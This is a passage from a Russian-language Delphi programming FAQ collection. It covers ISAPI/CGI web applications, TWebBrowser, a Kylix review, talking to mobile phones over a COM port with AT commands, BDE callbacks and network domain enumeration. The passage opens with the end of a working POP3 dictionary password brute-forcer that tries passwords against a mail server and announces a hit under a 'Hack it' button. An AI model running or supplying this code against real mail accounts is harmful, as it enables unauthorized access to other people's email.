End; // Проца инициализации процесса. Procedure TScan.Execute; Begin. Try. // Запуск цикла. While true do. Begin. CScan; //Выход, если подобрали или закончился словарь. If (not Rez)or(I>=PassList.Count) then. Break; End; Except. End; Dec(I0); Try. Terminate; Except. End; //Если все процессы прерваны - If I0<=1 then. Begin. Form1.Button1.Caption:='Hack it'; Rez:=false; Application.ProcessMessages; End; End; //Проца сканирования. Procedure TScan.CScan; Var. Iaddr, x, I2 : Integer; Buf : array [1..255] of Char; //Отправка. Procedure sender(str:string); Var. I1: integer; Begin. For I1:=1 to Length(str) do. If send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then. Exit; End; Begin. I2:=I; Inc(I); Form1.ProgressBar1.Position:=I2+1; Application.ProcessMessages; Try. // Инициализация сокета. WSAStartUp(257, WSAData); Sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); If sock2=INVALID_SOCKET then. Begin. Try. Closesocket(sock2); Except. End; Exit; End; //Адрес сервака. Iaddr := inet_addr(PChar(POP3serv)); If iaddr <=0 then. Begin. Try. Closesocket(sock2); Except. End; Exit; End; Addr.sin_family := AF_INET; // Порт сервака. Addr.sin_port := htons(110); Addr.sin_addr.S_addr:=iaddr; If (connect(sock2, addr, sizeof(addr))) >0 then. Begin. Try. Closesocket(sock2); Except. End; Exit; End; //Получение при соединении. X:=recv(sock2,buf,sizeof(Buf),0); If (x=SOCKET_ERROR)or(buf[1]<>'+') then. Exit; //"user user". Sender('user '+User+#13+#10); X:=recv(sock2,buf,sizeof(Buf),0); If (x=SOCKET_ERROR)or(buf[1]<>'+') then. Exit; //"pass password". Sender('pass '+PassList.Strings[I2]+#13+#10); X:=recv(sock2,buf,sizeof(Buf),0); //Если подобралось. If (x>3)and(buf[1]='+') then. Begin. Rez:=false; Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok); Exit; End; Try. Closesocket(sock2); Except. End; Except. End; End; End.

Моё CGI-приложение при обращении к нему ничего не возвращает.

Вопрос: Мое CGI-приложение при обращении к нему, имеющим вид, например, http://127.0.0.1/cgi-bin/mycgi.exe ничего не возвращает. Что делать?

Установите свойство TWebAction.Default: Boolean в true для той Action из списка, которая должна по обрабатывать запросы тогда, когда это не делает ни одна из других Actions.

©Drkb::03424.

Взято с http://delphiworld.narod.ru.

Корпоративное Web приложение.

На сегодняшний день, создание внутренних корпоративных веб-приложений уже, пожалуй, не просто дань моде, когда все, что так или иначе связано с интернетом считалось популярным и прогрессивным. Нынче менеджеры стали более скупы в раздаче финансов для IT-отделов. Но вместе с тем приходит понимание, что бизнес-приложения предприятий перенесенные на новую технологическую "веб-оснастку" действительно значительно уменьшают издержки по поддержанию данных приложений в актуальном состояние в дальнейшем. Вот краткий перечень достоинств, которыми обладают корпоративные веб-приложения:

Не требуют инсталляции и обновления клиентского программного обеспечения;

Снижают затраты на обучение - в качестве клиентской части используется стандартный веб-броузер;

Пользователи могут работать на любой платформе;

Логика приложения сосредоточена на стороне сервера;

Возможность интеграции с ресурсами интерета;

Создание сколь угодно привлекательного веб-интерфейса.

Если мы будем рассматривать веб-приложения с точки зрения программиста, то представить их можно как некий особый класс систем клиент-сервер, в которых взаимодействие с пользователем осуществляется через стандартный веб-броузер. Если сравнивать структуру веб-приложения и классического приложения, основанного на технологии клиент-сервер, то можно охарактеризовать составляющие компоненты следующим образом:

В роли "тонкого клиента", которые отвечает за отображения данных и передачу их от пользователя серверу, выступает броузер. Пользовательский интерфейс всецело определяется HTML-документом, со всеми возможными дизайнерскими ухищрениями.

Веб-сервер обеспечивает работу по протоколу HTTP, принимает запросы от клиента, взаимодействует непосредственно с веб-приложением, передает ответы клиенту. Веб-приложение - программа, которая, используя веб-сервер, обрабатывает запросы от клиента, производит необходимые манипуляции с данными, передает ответы клиенту.

Давайте на практическом примере разберем все стадии создания законченного веб-приложения стандартными средствами Delphi 5. О том, насколько расширился диапазон компонентов для веб-приложений в новой версии Delphi 6, мы поговорим отдельно, и в конце цикла статей.

Подобная тема уже рассматривалась на нашем сайте. Смотрите материал "Создание web-приложений в среде Delphi" (www.mcsa.ru/d2.shtml), где достаточно подробно разбирался вопрос, как обычное консольное приложение, созданное в Delphi, без использования визуальных компонентов "превратить" в приложение для веб-сервера. Но сейчас мы рассмотрим создание веб-приложения с использованием специализированных компонентов Delphi.

Создать подобное приложение в Delphi не сложнее, чем стандартную визуальную программу для Windows. Что бы создать новое веб-приложение в Delphi 5, следует выбрать пункт Web Server Application. При этом существуют три различных варианта реализации приложения:

ISAPI/NSAPI Dynamic Link Library.

CGI Stand-alone executable.

Win-CGI Stand-alone executable.

Тут нам придется обратиться к теории, чтобы четко представлять себе разницу между тем или иным типом веб-приложений. Вообще стандартная функциональность веб-сервера, это передача клиенту статических фалов по протоколу HTTP. Но чаще всего требуеться, чтобы информация, поступающая клиенту формировалась динамически. Для того чтобы веб-сервер мог получить, и соответственно передать от приложения данные клиенту, используют интерфейсы веб-сервера.

В общем случае их всего два: API (Application Program Interface - программный интерфейс приложений) и CGI (Common Gateway Interface - общий интерфейс шлюзов). Интерфейс типа API представляет собой традиционный программный интерфейс, вполне привычный для программистов использующих Delphi. При его использование нужно создать динамически загружаемый программный модуль, в котором должен быть реализован набор стандартных функций или классов операционной системы. Но помимо этого, возможно, использовать функции, которые предоставляет веб-сервер. К данному типу можно отнести интерфейсы ISAPI, NSAPI, WSAPI, Apache API, Java Servlet API и другие.

При создание рассматриваемого нами веб-приложения, будет использоваться интерфейс ISAPI, так как именно он реализован в MS IIS (Microsoft Internet Information Server). А именно этот веб-сервер от Microsoft, разумнее всего использовать для поддержки корпоративного веб-приложения. Но обо всем по порядку.

ISAPI (Internet Server Application Programming Interface) - программныей интерфейс, разработанный для сервера. ISAPI изначально был создан как Microsoft Information Server API, но в дальнейшем был предложен в качестве открытого стандарта. С помощью ISAPI возможно создавать два типа динамических модулей для веб-сервера: непосредственно обработчики событий и фильтры.

Обработчик событий представляет собой библиотеку DLL (Dynamic-Link Library), которая загружается и вызывается веб-сервером. Обработчик вызывается веб-сервером при получение клиентского запроса с URL, типа http://server/myapp.dll?запрос. При этом IIS вызывает библиотеку myapp.dll и передает ей параметр "запрос".

Работа обработчика запросов ISAPI происходит в следующей последовательности:

При получение первого клиентского запроса загружается соответствующая dll, создается и инициализируется объект типа CHttpServer.

Для каждого конкретного запроса создается отдельный объект CHttpServerContext. Непосредственно для обработки запроса вызывается метод объекта CHttpServer, которому в качестве параметра передается указатель на CHttpServerContext. При этом, для каждой dll существует только один экземпляр CHttpServer, методы которого исполняются в адресном пространстве веб-сервера одновременно в нескольких потоках, при чем переменные объекта CHttpServer доступны для них всех. Сам объект CHttpServer не выгружается из памяти даже при прекращение выполнения запросов и доступен в течение всего времени работы веб-сервера.

ISAPI-фильтр - это dll, которая загружается на при первом запросе от клиента, а непосредственно при старте IIS и вызывается для обработки определенных событий, возникающих при обращение клиента к веб-серверу. Это может быть как предварительная обработка заголовка клиентского запроса (например на корректность передаваемых данных), действие при ошибочных ситуациях (выдача ошибки 404 File Not Found или др.), авторизация клиента, запись данных в журнал веб-сервера и т.п. Создание ISAPI-фильтра ничем не отличается от создания стандартного ISAPI-приложения. Необходимо будет лишь указать IIS, что та или иная dll является ISAPI-фильтром.

Интерфейс CGI отличается от рассмотренного выше. Принцип его работы сводиться к следующему: веб-сервер запускает внешнею программу (являющуюся веб-приложением) в отдельном процессе операционной системы. При этом сервер устанавливает ряд переменных окружения с которыми взаимодействует приложения. Стандартно это заголовок HTTP-запроса, адрес запрашиваемого документа, строка параметров, в которой могут, к примеру, содержаться данные передаваемые из броузера пользователем и ряд других. Запущенное приложение анализирует данные переменные и в соответствии с внутренней логикой выдает HTTP-заголовок, которые и возвращается клиенту веб-сервером. Время жизни CGI-программы ограничено временем обслуживания пользовательского запроса, по окончанию его выполнения процесс завершается. При этом для каждого отдельного запроса запускается копия веб-приложения. Данные приложения не могут взаимодействовать друг с другом и не имеют программной связи с веб-сервером.

Если сравнивать CGI и API, вернее непосредственно ISAPI, то можно увидеть их достоинства и недостатки. Причем верна такая парадоксальная мысль, что в определенных условиях и для конкретных задач, недостатки одного или другого интерфейса легко "трансформируются" в достоинства. На данный момент CGI наиболее распространенный интерфейс и его поддерживают практически все веб-сервира без необходимости установки дополнительных модулей. CGI-программа может создаваться с использованием любого языка и средства разработки, поскольку запускается как независимый от веб-сервера процесс и строго говоря, зависимо только от операционной системы.

Преимуществом создания веб-приложений с использованием CGI является их относительная большая надежность и безопасность для веб-сервера, так как они выполняются независимо и даже в случае краха вряд ли могут привести к нарушению функциональности веб-сервера в целом. Веб-приложения использующие CGI обладают и рядом недостатков. При обработки большого количества запросов, веб-сервер испытывает значительные нагрузки, так как для каждого запроса необходимо отдельно заново запускать приложение. К тому же не имеется возможности взаимодействовать с данными, поступающими от других запущенных приложений и веб-сервера (кроме переменных окружения), что не позволяет создать достаточно масштабные и сложные проекты.

Основным преимуществом использования ISAPI можно считать то, что они, взаимодействуя с веб-сервером и объектами запросов поступающих от других пользователей позволяют создавать многопользовательские приложения. Это особенно важно при создание многопользовательских приложений работающих с базами данных и имеющих сложную логику. В качестве примера можно привести чаты, где например каждый обработчик событий может обращаться к общему для всех запросов списку сообщений. Или интернет-магазин использующий список выбранных в корзину товаров. Главнй недостаток ISAPI, что данный интерфейс поддерживается исключительно сервером MS ISS. Кроме того, при некорректной работе ISAPI-приложения возможны сбои в работе всего веб-сервера.

Еще одна существующая угроза, заключена в следующем: ввиду того, что IIS весьма часто подвергается хакерским атакам и вообще не очень надежный сервер использовать его как полноценные веб-сервер вне корпоративной сети, скорее всего не стоит. Но в том случае, если IIS будет использован как внутренний корпоративный веб-сервер, с использованием веб-приложений - это практически идеальный вариант.

Почему мы все же выбираем ISAPI-приложение, если есть возможность создания (и средствами Delphi в том числе) приложенный для CGI, ASP и т.д.? Дело в том, что подобные веб-приложения быстрее и требуют меньших ресурсов. Веб-приложение основанное на ISAPI многопоточно, и для обработки запроса клиента не требуется загрузки еще одной копии приложения. По сравнению с тем же пресловутым ASP, они имеют гораздо больший перечень функциональных возможностей. Например, можно использовать все множества функций Win32 API без необходимости писать для этого COM-объекты и существенно выигрывают по скорости, за счет того, что их код уже откомпилирован и оптимизирован. Веб-приложения основанные на ISAPI кроме того легко создаются из любого уже существующего приложения. Если оно было написано на Delphi, то все может совестить к тому, чтобы заменить визуальные объекты на специальные веб-компоненты, не переписывая ту часть, где сосредоточена сама логика приложения, и его работа, например с базами данных.

В следующей части материала мы определим непосредственно логику приложения и структура баз данных. А также создадим веб-интерфейс приложения и рассмотрим особенности модуля Delphi WebModule.

Теперь настал черед использовать полученные навыки на практике.

Так как мы будем создавать ISAPI-приложение, то соответственно необходимо, чтобы на компьютере был установлен IIS. В Windows 9.xx он также именуется как Personal Web Server и находиться обычно в папке PWS инсталляционного диска. Для установки IIS в Windows 2000 необходимо выбрать компоненты служб IIS при установке или добавление компонентов Windows.

Для создания ISAPI-приложения в Delphi необходимо создать новый проект Web Server Application. Как видите по умолчанию сразу же доступен специальный модуль WebModule. Он является обязательным и дает возможность веб-приложению ответить на запрос HTTP, пропуская запрос и ответ к соответствующим обработчикам ActionItems. Приложение может содержать только один WebModule.

Так как это основной объект, с которым придется работать, создавая веб-приложение, стоит рассмотреть WebModule подробнее. К главным событиям WebModule относятся:

OnCreate.

Это событие происходит в тот момент, когда приложение создает WebModule. Чаще всего его следует использовать для инициализации переменных и объектов, содержащихся в приложении.

OnDestroy.

Происходит перед уничтожением WebModule. Здесь желательно производить освобождение объектов, созданных динамически в приложении.

BeforeDispatch.

Событие происходит перед тем, как диспетчер устанавливает соответствие запроса HTTP с ActionItems.

AfterDispatch.

Происходит после того, как HTTP ответ был успешно сформирован ActionItems, но еще не передан клиенту.

Создавая ISAPI приложения, нужно помнить, что объект WebModule может быть создан один раз и не создаваться при каждом запросе, следовательно, не будут генерироваться события OnCreate и OnDestroy объекта WebModule.

WebModule имеет два важных свойства Request и Response, с помощью которых принимает и передает данные IIS. Response - автоматически создаваемый объект WebModule, содержащий информацию, которая будет передана клиенту, в результате обработки запроса. После того как все свойства Response будут заполнены, будет сформирован HTTP ответ, который и будет передан клиенту.

Среди свойств объекта Response существуют следующие:

ContentType.

Тип содержимого HTTP ответа в соответствии со спецификацией MIME. Его необходимо использовать, чтобы установить тип содержимого передаваемого клиенту. Если к примеру нужно передать изображение в формате GIF, необходимо установить ContentType = 'image/gif'.

Content.

Содержит непосредственно информацию, передаваемую клиенту в ответ на сообщение запроса HTTP.

ContentStream.

Определяет Stream объект, который будет передан клиенту. Используют в основном для передачи клиенту содержимого отличного от ContentType = 'text/*'.

Request.

Также автоматически создаваемый объект WebModule, с помощью которого можно получить информацию от пользователя. В принципе Request представляет текущий HTTP запрос в удобной для обработке форме. Его основные свойства:

ContentFields.

Предоставляет содержимое полей POST запроса.

QueryFields.

Предоставляет содержимое GET запроса. То есть извлекает необходимый параметр, передаваемый приложению из url. Как ContentFields, так и QueryFields возвращаю параметры в виде "имя = значение".

Пойдем дальше. Попробуем создать простейшее веб-приложение, что-то вроде новой вариации "Hello, world!" для IIS. WebModule у нас уже создан. Теперь возьмем с закладки компонентов Delphi Internet, компонент PageProducer, что отвечает за выдачу HTML-документа.

В свойстве HTMLDoc PageProducer наберем всем известное "Hello, world!". Теперь необходимо создать Add Item - новый обработчик событий. Сделаем так, чтобы он запускался по умолчанию. Для этого переведем свойство Default из False в True. И заключительный шаг - укажем обработчику на то, что он должен выдавать результат созданного PageProducer. В свойстве Producer выберем PageProducer.

Наше веб-приложение готово. Готовый dll нужно скопировать в каталог веб-сервера и запустить его через броузер, по адресу вроде http://localhost/cgi-bin/Project1.dll. В окне броузера должно появиться приветствие "Hello, world!".

©Drkb::03431.

Взято с http://delphiworld.narod.ru.

Получить или установить задний фон в TWebBrowser.

Code: //You need a TWebbrowser and 3 TButtons. // First load a page. Procedure TForm1.Button1Click(Sender: TObject); Begin. WebBrowser1.Navigate('www.SwissDelphiCenter.com'); End; // Show the background color. // Hintergrundfarbe herausfinden. Procedure TForm1.Button2Click(Sender: TObject); Begin. ShowMessage(WebBrowser1.OleObject.Document.bgColor); End; // Set the background color. Procedure TForm1.Button3Click(Sender: TObject); Begin. WebBrowser1.OleObject.Document.bgColor := '#000000'; End;

Как прочитать выделенный текст из IE?

Code: Uses. SHDocVw_TLB; // http://www.euromind.com/iedelphi if don't have that unit. Function GetSelectedIEtext: string; Var. X: Integer; Sw: IShellWindows; IE: HWND; Begin. IE := FindWindow('IEFrame', nil); Sw := CoShellWindows.Create; For x := SW.Count - 1 downto 0 do. If (Sw.Item(x) as IWebbrowser2).hwnd = IE then begin. Result := variant(Sw.Item(x)).Document.Selection.createRange.Text; Break; End; End;

Первые впечатления.

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Наверное каждый программист, хотя бы время от времени работающий с Delphi, слышал о том, что Kylix – это Delphi для Linux. Более строго, Kylix – это средство разработки на основе ObjectPascal и VCL для платформы Linux/QT. Данная серия статей предназначена прежде всего для программистов, ранее писавших на Delphi, и желающих теперь освоить программирование для Linux. Я сам пишу программы как на Delphi под Windows, так и на QT под Linux. Надеюсь, мои впечатления и наблюдения покажутся Вам полезными.

Первый взгляд на Kylix.

Разработчики из Borland постарались сделать Kylix максимально похожим на Delphi, и это касается не только языка программирования и структуры VCL. Пользовательский интерфейс Kylix полностью воспроизводит интерфейс своего "старшего брата". Даже диалоги открытия и сохранения файлов практически одинаковы в обеих версиях. У программистов, привыкших к интерфейсу Delphi, работа в Kylix не вызовет проблем. Для тех, кто имеет опыт программирования для Linux, отмечу, что интегрированная среда разработки Kylix отличается стабильностью графического интерфейса, развитым набором функций редактирования текста и прекрасной встроенной справочной системой. Кроме того, Kylix снабжен отличной печатной документацией (на компакт-диске имеются ее электронные версии): руководством по языку ObjectPascal, справочником по библиотеке VCL (Библиотека визуальных компонентов) и руководством для быстрого освоения пакета.

Преимущества Kylix – те же, что и у Delphi: ускорение цикла разработки приложений, готовые компоненты для работы с базами данных, Web-интерфейсами и Интернет. К этому следует добавить возможность переноса дополнительных компонентов, написанных для Delphi. Тут надо отдать должное разработчикам: для переноса модулей, написанных исключительно средствами ObjectPascal и VCL, достаточно просто перекомпилировать исходные тексты в новой среде. Естественно, многие компании и программисты, занимающиеся разработкой компонентов для Delphi, уже выпустили их версии и для Kylix. Некоторые из этих компонентов можно найти на втором диске дистрибутива.

Немного соли и желчи.

Традиционными недостатками Delphi считаются медлительность и громоздкость результирующего кода. К сожалению, в этом вопросе Kylix также копирует своего "старшего брата". Для того, чтобы приложение, написанное в Kylix, могло работать отдельно от среды разработки, ему требуются некоторые разделяемые модули времени выполнения (runtime packages). Список модулей, которые могут понадобиться Kylix приложению, а также правила их распространения и установки приводятся в файле DEPLOY, расположенном на первом диске дистрибутива. Размеры самих исполнимых модулей примерно такие же, как и в случае с Delphi, простейшее приложение занимает на диске ~ 400 килобайт. Плюс несколько сотен килобайт дополнительных модулей, которые в Delphi не нужны. Для сравнения: простое приложение, написанное на Delphi без использования модулей SysUtils, Classes, Forms и т. п. (т. е. используя только Windows API) занимает 20-40 килобайт. Такой же размер имеет и аналогичное Linux приложение, написанное на C++ с использованием QT library.

Очевидно, что Kylix – не лучший выбор в ситуации, когда компактность кода и быстрота являются критическими параметрами.

Все это не умаляет, однако, достоинств Kylix, как средства быстрой разработки приложений для работы с сетью и базами данных, а при использовании большого числа Kylix приложений, удельные расходы на разделяемые модули времени выполнения снижаются.

P.S. Для тех, кто не знает, kylix - это античная винная чаша, обычно покрытая росписью с внешней и с внутренней стороны.

Статья и примеры программ © 2001 Андрей Наумович Боровский.

©Drkb::04579.

Взято из http://forum.sources.ru.

Работа с сотовыми телефонами.

Взаимодействие с мобильными телефонами.

Вы, наверное, не раз видели или даже пользовались программами, которые отображают любую информацию о вашем телефоне. Сейчас вы узнаете, как самим сделать такую программу!

Для начала положим на форму Memo, CheckBox "Соединиться», кнопку «Послать команду», Edit.

А) Подключение.

Итак, в «Public declarations» объявляем 2 функции и 2 процедуры, потом объявляем 4 глобальные переменные:

Code: … Public. { Public declarations }. Function OpenCOMPort: Boolean; Function SetupCOMPort: Boolean; //для настройки порта. Procedure Connect; Procedure Disconnect; … Var. Form1: TForm1; ComFile: THandle; //Хэндл создаваемого нами файла. ComString: string; //(COM1, COM2 или COM3). ComSpeed: Integer; //Скорость взаимодействия с COM-портом. Status: Boolean; //подключен или не подключен (чтобы в дальнейшем проверять статус).

Жмём Ctrl+C и записываем дальше:

Code: Procedure TForm1.Connect; Begin. ComString := 'COM2'; ComSpeed := 19200; If OpenCOMPort = true then //Открываем порт… If SetupCOMPort = true then //…и конфигурируем его. Memo1.Lines.Add('Подключились...'); Sleep(1500); //засыпаем на полторы секунды чтобы дать время на соединение. End; Procedure TForm1.Disconnect; Begin. CloseHandle(ComFile); Memo1.Lines.Add('Отключились.'); End; Function TForm.OpenCOMPort: Boolean; Var DeviceName: array[0..80] of Char; Device: string; Begin. Device := ComString; StrPCopy(DeviceName, Device); ComFile := CreateFile(DeviceName, GENERIC_READ or GENERIC_WRITE, 0, Nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); If ComFile = INVALID_HANDLE_VALUE then. Begin. Result := False; Status := Result; End. Else. Begin. Result := True; Status := Result; End; End; Function TForm1.SetupCOMPort: Boolean; Const RxBufferSize = 256; TxBufferSize = 256; Var DCB: TDCB; Config: string; CommTimeouts: TCommTimeouts; Begin. Result := True; If not SetupComm(ComFile, RxBufferSize, TxBufferSize) then. Result := False; If not GetCommState(ComFile, DCB) then. Result := False; Config := 'baud=' + IntToStr(ComSpeed) + ' parity=n data=8 stop=1'; //Устанавливаем скорость. If not BuildCommDCB(@Config[1], DCB) then. Result := False; If not SetCommState(ComFile, DCB) then. Result := False; With CommTimeouts do. Begin. ReadIntervalTimeout := 0; ReadTotalTimeoutMultiplier := 0; ReadTotalTimeoutConstant := 1000; WriteTotalTimeoutMultiplier := 0; WriteTotalTimeoutConstant := 1000; End; If not SetCommTimeouts(ComFile, CommTimeouts) then. Result := False; End; Теперь два раза щёлкаем по CheckBox и записываем код: Procedure TForm1.CheckBox1Click(Sender: TObject); Begin. If CheckBox1.Checked then. Connect. Else. Disconnect; End; В событии формы OnDestroy записываем: Procedure TForm1.FormDestroy(Sender: TObject); Begin. If Status = true then //При выходе из программы отключаемся. Disconnect; End;

Б) Шлём команды и принимаем ответы.

Щёлкаем два раза по кнопке «Послать команду» и записываем код:

Code: Procedure TForm1.Button1Click(Sender: TObject); Var BytesWritten: DWORD; S: string; D: array[1..1500] of Char; BytesRead: DWORD; I: Integer; Result: string; Begin. S := Edit1.Text; //Берём команды из Edit1… S := s + #13 + #10; WriteFile(ComFile, s[1], Length(s), BytesWritten, nil); //…и посылаем их телефону. Result := ''; If not ReadFile(ComFile, d, SizeOf(d), BytesRead, nil) then. Begin. MessageDlg('Ошибка чтения!', mtError, [mbOK], 0); Exit; End; S := ''; For i := 1 to BytesRead do //Считываем ответ от телефона. S := s + d[I]; Result := s; Memo1.Lines.Add(Result); //Выводим ответ от телефона в Memo. End;

Вот и всё! Теперь подключите телефон, запускайте программу, ставьте галку в СhескВох'е, и, после того, как вам написали в Memo, что вы подключились вводите в Edit любую AT-команду и жмите «Послать команду». Удачи!

В) Некоторые полезные команды AT.

Этими командами вы можете воспользоваться, для посылки телефону (из поля Edit):

AT+CGMI – производитель.

AT+CGMM – модель телефона.

AT+CPAS – состояние.

AT+COPS? – оператор.

AT+CGSN – номер IMEI.

AT+CGMR – версия прошивки.

AT+CBC – степень зарядки телефона.

AT+CREG? – статус сети.

AT^SCID – номер SIM-карты.

AT+CIMI - номер IMSI.

AT^SPIC – попыток до блокировки SIM-карты.

Более подробно о командах вы сможете узнать из pdf-инструкции s35i_c35i_m35i_atc_commandset_v01.pdf (можно утащить по адресу: http://www.like.e-technik.uni-erlangen.de/...andset_v01.pdf).

Примечания: Автор: Лазуткин Алексей (alessio19@mail.ru), помощь в написании: av3nger (av3nger@hakep.com).

©Drkb::01352.

Состояние кнопки insert.

Code: Function InsertOn: Boolean; Begin. {©Drkb v.3(2007): www.drkb.ru}. Result:=LowOrderBitSet(GetKeyState(VK_INSERT)); End;

©Drkb::01523.

Источник: http://dmitry9.nm.ru/info/

Исправлено by Vit.

Если отображается только часть TImage.

При увеличении размера компонента TImage в RunTime пытаюсь рисоватьзаново на всем поле, но отображается только часть компонента (прежнегоразмера). В чем дело?

Нужно при инициализации выполнить SetBounds(), с максимальными размерами.

©Drkb::01255.

Источник: http://dmitry9.nm.ru/info/

Диалоги.

В раздел помещены не только диалоги VCL, но и диалоги Windows.

Использование обработчика OnHint при наличии нескольких форм.

В Online Help и в Visual Component Library Reference описан пример обработчика.

События OnHint объекта TApplication. Пример показывает, как можно использовать.

Панель для отображения подсказок (hint), связанных с другими компонентами. В.

Примере обработчик OnHint устанавливается во время обработки события OnCreate.

Для формы; в программе, включающей более чем одну форму, будет трудно.

Использовать эту технику.

Перемещение присваивания обработчика OnHint из события OnCreate формы в.

Событие OnActivate позволит различным формам данного приложения работать с.

Подсказками, как им нужно.

Ниже приведен измененный пример из OnLine Help и VCL Reference.

Code: Type. TForm1 = class(TForm). Button1: TButton; Panel1: TPanel; Edit1: TEdit; Procedure FormActivate(Sender: TObject); Private. { Private declarations }. Public. Procedure DisplayHint(Sender: TObject); End; Implementation. {$R *.DFM}. Procedure TForm1.DisplayHint(Sender: TObject); Begin. Panel1.Caption := Application.Hint; End; Procedure TForm1.FormActivate(Sender: TObject); Begin. Application.OnHint := DisplayHint; End;

Основное отличие EXE-файлов созданных Delphi и Visual Basic.

Существует два важных различия между файлами EXE, созданными в Delphi, и файлами EXE, созданными VB. Delphi создает чисто машинный код, непосредственно исполняемый компьютером, в то время как VB транслирует исходный код в промежуточную форму (р-код). Файл EXE, сгенерированный VB, в действительности является программой-интерпретатором р-кода с добавленным в конце р-кодом программы пользователя.

"Библиотека времени выполнения" (run-time library) стандартных функций для всех программ VB хранится в файле VBRUN300.DLL. Каждая программа VB, попавшая к конечному пользователю, должна включать этот файл, либо приходится расчитывать, что такой файл у пользователя уже есть. Дистрибутивный комплект программы должен также содержать файлы VBX для каждого управляющего средства VB, не включенного в VBRUN300.DLL.

Программы Delphi включают необходимую часть библиотеки времени выполнения Delphi, а также используемые компоненты. В результате EXE-файл Delphi обычно больше по объему, чем эквивалентный EXE-файл VB, но он не зависит ни от каких внешних файлов.

©Drkb::00300.

Источник: http://dmitry9.nm.ru/info/

Краткая история Delphi.

Delphi - это потомок Турбо Паскаля, который был выпущен для операционной системы CP/M в 1983 году. В феврале 1994 года Турбо Паскаль был перенесен на операционную систему MS-DOS.

Демонстрация обратного вызова BDE.

Существует обратный вызов (callback) BDE, который вы можете использовать для получения уведомлений об изменении таблиц Paradox. Тем не менее от вас все же потребуется использование таймера. Функция обратного вызова инициируется при вызове функций, осуществляющих доступ к таблице. Ниже приведен код, демонстрирующий технику работы с описанным выше обратным вызовом:

TCMAIN.PAS:

Code: Unit tcmain; { Демонстрация cbTableChange }. Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, DB, DBTables, ExtCtrls, DBCtrls, Grids, DBGrids, BDE, StdCtrls; Const. WM_UPDATETABLE = WM_USER + 1; Type. TForm1 = class(TForm). Table1: TTable; DataSource1: TDataSource; DBGrid1: TDBGrid; DBNavigator1: TDBNavigator; Timer1: TTimer; Button1: TButton; Procedure Table1AfterOpen(DataSet: TDataSet); Procedure FormCreate(Sender: TObject); Procedure Timer1Timer(Sender: TObject); Private. FChgCnt: Integer; FCB: TBDECallback; Function TableChangeCallBack(CBInfo: Pointer): CBRType; Procedure UpdateTableData(var Msg: TMessage); message WM_UPDATETABLE; End; Var. Form1: TForm1; Implementation. {$R *.DFM}. // Это функция, вызываемая функцией обратного вызова. Function TForm1.TableChangeCallBack(CBInfo: Pointer): CBRType; Begin. Inc(FChgCnt); Caption := IntToStr(FChgCnt); MessageBeep(0); // Здесь мы не можем вызвать Table1.Refresh, делаем это позже. PostMessage(Handle, WM_UPDATETABLE, 0, 0); End; // Данная функция вызывается в ответ на PostMessage (см. выше). Procedure TForm1.UpdateTableData(var Msg: TMessage); Begin. // Не пытайтесь вызвать обновление, если мы в "середине" редактирования. If (Table1.State = dsBrowse) then. Table1.Refresh; End; Procedure TForm1.Table1AfterOpen(DataSet: TDataSet); Begin. // Установка обратного вызова. FCB := TBDECallback.Create(Self, Table1.Handle, cbTableChanged, Nil, 0, TableChangeCallBack); End; Procedure TForm1.FormCreate(Sender: TObject); Begin. Table1.DatabaseName := ExtractFilePath(ParamStr(0)); Table1.Open; End; Procedure TForm1.Timer1Timer(Sender: TObject); Var. SeqNo: Longint; Begin. // События таймера просто осуществляют вызов DbiGetSeqNo для получения доступа к таблице. // В противном случае мы не хотим делать обратный вызов, пока что-то делаем. // (типа прокрутки) для получения доступа к данным. DbiGetSeqNo вызывается в случае, // если таблица не активна. If Table1.State <> dsInActive then. DbiGetSeqNo(Table1.Handle, SeqNo); End; End.

Объектное ориентирование.

Содержание раздела:

Примечание от Vit: в раздел помещены не только вопросы по объектно-ориентированному программированию и ООП модели Дельфи, но и часть специфических вопросов по организации VCL, я решил не выносить их отдельно в VCL, так как считаю вполне логичным собрать всё в одном разделе.

*"Объектное ориентирование" - мой полушутливый термин идеологии ООП, тем ни менее вполне оправдывающий своё название. Прошу очень серьёзных дядей и тётей с критикой термина подождать хотя бы до следующего тысячелетия :).

©Drkb::00090.

Сканирование доменов локальной сети.

Переменная List заполняется списком доменов. Функция возвращает код ошибки обращения к сети.

Code: Function FillNetLevel(xxx: PNetResource; list: TStrings) : Word; Type. PNRArr = ^TNRArr; TNRArr = array[0..59] of TNetResource; Var. X: PNRArr; Tnr: TNetResource; I : integer; EntrReq, SizeReq, Twx: Integer; WSName: string; Begin. Result := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_CONTAINER, xxx, twx); If Result = ERROR_NO_NETWORK Then Exit; If Result = NO_ERROR then. Begin. New(x); EntrReq := 1; SizeReq := SizeOf(TNetResource)*59; While (twx <> 0) and. (WNetEnumResource(twx, EntrReq, x, SizeReq) <> ERROR_NO_MORE_ITEMS) do. Begin. For i := 0 To EntrReq - 1 do. Begin. Move(x^[i], tnr, SizeOf(tnr)); Case tnr.dwDisplayType of. RESOURCEDISPLAYTYPE_DOMAIN: Begin. If tnr.lpRemoteName <> '' then. WSName:= tnr.lpRemoteName. Else WSName:= tnr.lpComment; List.Add(WSName); End; Else FillNetLevel(@tnr, list); End; End; End; Dispose(x); WNetCloseEnum(twx); End; End;

Math - математика, статистика, финансы.

Тригонгометрические функции:

Function ArcCos(X: Extended): Extended;

Function ArcSin(X: Extended): Extended;

Function ArcTan2(Y, X: Extended): Extended; Арктангенс X/Y возвращает угол в квадранте.

Procedure SinCos(Theta: Extended; var Sin, Cos: Extended) register; возвращает сразу и синус и косинус, вычисления в 2 раза быстрее чем Sin, Cos по отдельности.

Function Tan(X: Extended): Extended;

Function Cotan(X: Extended): Extended;

Function Hypot(X, Y: Extended): Extended; Возвращает значение гипотенузы по катетам.

Конвертация углов.

Function DegToRad(Degrees: Extended): Extended;

Function RadToDeg(Radians: Extended): Extended;

Function GradToRad(Grads: Extended): Extended;

Function RadToGrad(Radians: Extended): Extended;

Function CycleToRad(Cycles: Extended): Extended;

Function RadToCycle(Radians: Extended): Extended;

Гиперболические функции.

Function Cosh(X: Extended): Extended;

Function Sinh(X: Extended): Extended;

Function Tanh(X: Extended): Extended;

Function ArcCosh(X: Extended): Extended;

